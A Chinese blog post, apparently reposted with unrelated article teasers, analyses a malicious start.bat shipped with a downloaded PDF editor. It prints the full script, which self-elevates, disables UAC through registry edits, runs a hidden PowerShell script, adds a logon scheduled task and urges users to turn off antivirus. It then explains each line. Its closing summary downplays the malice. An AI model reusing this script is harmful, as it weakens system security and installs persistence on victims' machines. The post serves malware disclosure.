记录一次病毒启动脚本

news/2024/10/5 0:11:39/

在第一次下载软件时,目录中配了一个使用说明,说是需要通过start.bat 这个文件来启动程序,而这个 start.bat 就是始作俑者:
病毒目录

病毒作者比较狡猾,其中start.bat 用记事本打开是乱码,但是可以通过将这个批处理文件的扩展名改为.doc,然后双击就用word打开了,因为这个批处理加密是利用混淆编码的原理加密的,而word能识别很多编码,所以用word打开就可以看到真容了,打开文件,完整的的病毒启动内容脚本如下:

@echo offPUSHD %~DP0 & cd /d "%~dp0"
%1 %2mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof
:targetreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nulcd /d bin 
attrib +s +h PDFeditorPortable.execd /d re\libstart powershell -windowstyle hidden .\add.ps1 >nul 2>nulfor /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%iif %f% equ 5 (cd ..cd ..start PDFeditorPortable.execd re\libSchTasks /Create /SC ONLOGON /delay 0005:00 /TN "CrashReporting" /TR "%CD%\CrashReporting.bat" /f >nul 2>nul) else (echo=echo 运行过程被杀软干扰,可通过以下方法恢复:echo=echo 1、检查是否被杀毒软件隔离,如被隔离,请恢复并添加进信任区后再运行软件echo=echo 2、方法1如果不行,请关闭杀软,重新解压原本压缩文件,再运行软件echo=pause
)setlocal enabledelayedexpansion
set line=0
for /f  %%a in ('wmic cpu get NumberOfLogicalProcessors') do (
set /a line+=1
if !line!==2 set A=%%a
)set /a B = %A% / 2set fn=CrashReporting2.bat >nul 2>nul
(for /f "tokens=*" %%i in (%fn%) do (
set s=%%i
set s=!s:20=%B%!
echo !s!))>temp1126.txt
move /y temp1126.txt "%fn%" >nul 2>nulcall CrashReporting2.batexit

这段代码是一个 Windows 批处理脚本,主要用于修改系统注册表设置、启动程序并处理一些与安全相关的配置。以下是对代码的逐行解释:

代码解析

  1. @echo off: 关闭命令行窗口中的命令回显,使得执行时不显示每个命令的内容。

  2. PUSHD %~DP0 & cd /d "%~dp0":

    • PUSHD %~DP0:将当前目录更改为脚本所在的目录。
    • cd /d "%~dp0":确保切换到该目录。
  3. %1 %2: 执行传递给脚本的第一个和第二个参数。

  4. mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof:

    • 使用 mshta 运行 VBScript,以管理员权限重新执行当前脚本,并跳转到 :target 标签。
    • window.close 在执行后关闭窗口。
    • &goto :eof 确保脚本在此处结束,不继续执行后面的代码。
  5. :target: 标签,后面的代码将在跳转到此标签时执行。

  6. 修改注册表:

    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul:
      • 将管理员的用户帐户控制 (UAC) 提示行为设置为 0(关闭提示)。
    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul:
      • 禁用用户帐户控制 (UAC)。
    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nul:
      • 关闭安全桌面上的提示。
  7. cd /d bin: 切换到 bin 目录。

  8. attrib +s +h PDFeditorPortable.exe: 将 PDFeditorPortable.exe 文件设置为系统文件和隐藏文件。

  9. cd /d re\lib: 切换到 re\lib 目录。

  10. start powershell -windowstyle hidden .\add.ps1 >nul 2>nul:

    • 在隐藏窗口中启动一个 PowerShell 脚本 add.ps1,并将输出重定向到空设备。
  11. for /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%i:

    • 计算当前目录及子目录下的文件数量,并将结果存储在变量 f 中。
  12. 条件判断:

    • if %f% equ 5 (...) else (...): 如果文件数量等于 5,则执行括号内的命令,否则执行 else 部分。
    • 如果文件数量为 5,切换到上级目录,启动 PDFeditorPortable.exe,并创建一个名为 CrashReporting 的计划任务。
    • 如果文件数量不为 5,输出提示信息,建议用户检查杀毒软件的干扰。
  13. 获取逻辑处理器数量:

    • 通过 wmic cpu get NumberOfLogicalProcessors 获取逻辑处理器数量,并将其存储在变量 A 中。
    • 计算 BA 的一半。
  14. 更新 CrashReporting2.bat 文件:

    • CrashReporting2.bat 文件中的某些内容替换为计算得到的 B 值,并将结果输出到临时文件 temp1126.txt 中,最后移动回原文件。
  15. 调用 CrashReporting2.bat: 执行 CrashReporting2.bat 文件。

  16. exit: 结束批处理脚本的执行。

总结

这个批处理脚本的主要功能是:

  • 修改系统的 UAC 设置以降低安全性。
  • 启动和配置某个 PDF 编辑器
  • 处理文件数量检查,确保程序正常运行。
  • 更新并执行一个名为 CrashReporting2.bat 的脚本。

由于涉及到 UAC 设置的修改,这段代码可能会被安全软件标记为潜在的恶意行为。关于病毒具体执行了什么,可以参见这篇博文:https://mp.csdn.net/mp_blog/creation/success/142697281


http://www.ppmy.cn/news/1534661.html

相关文章

MFC工控项目实例之十九手动测试界面输出信号切换

承接专栏《MFC工控项目实例之十八手动测试界面输入信号实时检测》 根据板卡设置界面组合框选项设定的输出信号,通过读取文件中保存的键值,用单选按钮切换输出信号接通、关闭。 1、在Data_1.h文件中添加代码 CString COMB_Data_O_1[]{"夹紧",&…

TypeScript高级内容

完整总结 本节课涵盖了本地开发环境的搭建、前后端的基本交互、以及如何封装 Axios 以增强代码的安全性和可维护性。此外,我们还解决了在代码实现过程中可能遇到的一些常见问题。 1. 本地环境搭建 安装环境依赖:首先需要在本地安装 Node.js&#xff0…

详解调用钉钉AI助理消息API发送钉钉消息卡片给指定单聊用户

文章目录 前言准备工作1、在钉钉开发者后台创建一个钉钉企业内部应用;2、创建并保存好应用的appKey和appSecret,后面用于获取调用API的请求token;3、了解AI助理主动发送消息API:4、应用中配置好所需权限:4.1、权限点4.…

LampSecurityCTF7 靶机渗透 (sql 注入, 文件上传, 密码喷射)

靶机介绍 LampSecurityCTF7,vulnhub 靶机 主机发现 由于靶机配置问题,扫不到 ip 这里需要特别注意一下,在第一次启动打开靶机的时候,vmware会跳出一个提示框,让你选择我已复制该虚拟机/我已移动该虚拟机&#xff0c…

FinalShell解决Docker日志中文乱码问题

在DockerFile文件末尾添加如下配置即可解决: #解决Docker容器中文显示乱码问题 ENV LANG C.UTF-8 ENV LC_ALL C.UTF-8

空域中低通滤波器和高通滤波器的互补关系——Unsharp masking的理论基础

空域中从一个单位冲激中减去一个低通核产生一个高通核。 对应地,频域中数字滤波器低通转高通可以通过1-低通高通实现。模拟滤波器不行。 从原始图像减去模糊图像称为Unsharp masking。这是Unsharp masking的理论基础。锐化的程度由这个正比例系数控制。

腾讯一面-LRU缓存

为了设计一个满足LRU(最近最少使用)缓存约束的数据结构,我们可以使用哈希表(HashMap)来存储键值对,以便在O(1)时间复杂度内访问任意键。同时,我们还需要一个双向链表(Doubly Linked …

【算法系列-链表】交换链表节点(反转 + 交换)

【算法系列-链表】交换链表节点(反转 交换) 文章目录 【算法系列-链表】交换链表节点(反转 交换)1. 反转链表1.1 思路分析🎯1.2 解题过程🎬1.3 代码示例🌰 2. 两两交换链表中的节点2.1 思路分析🎯2.2 解题过程🎬2.3 …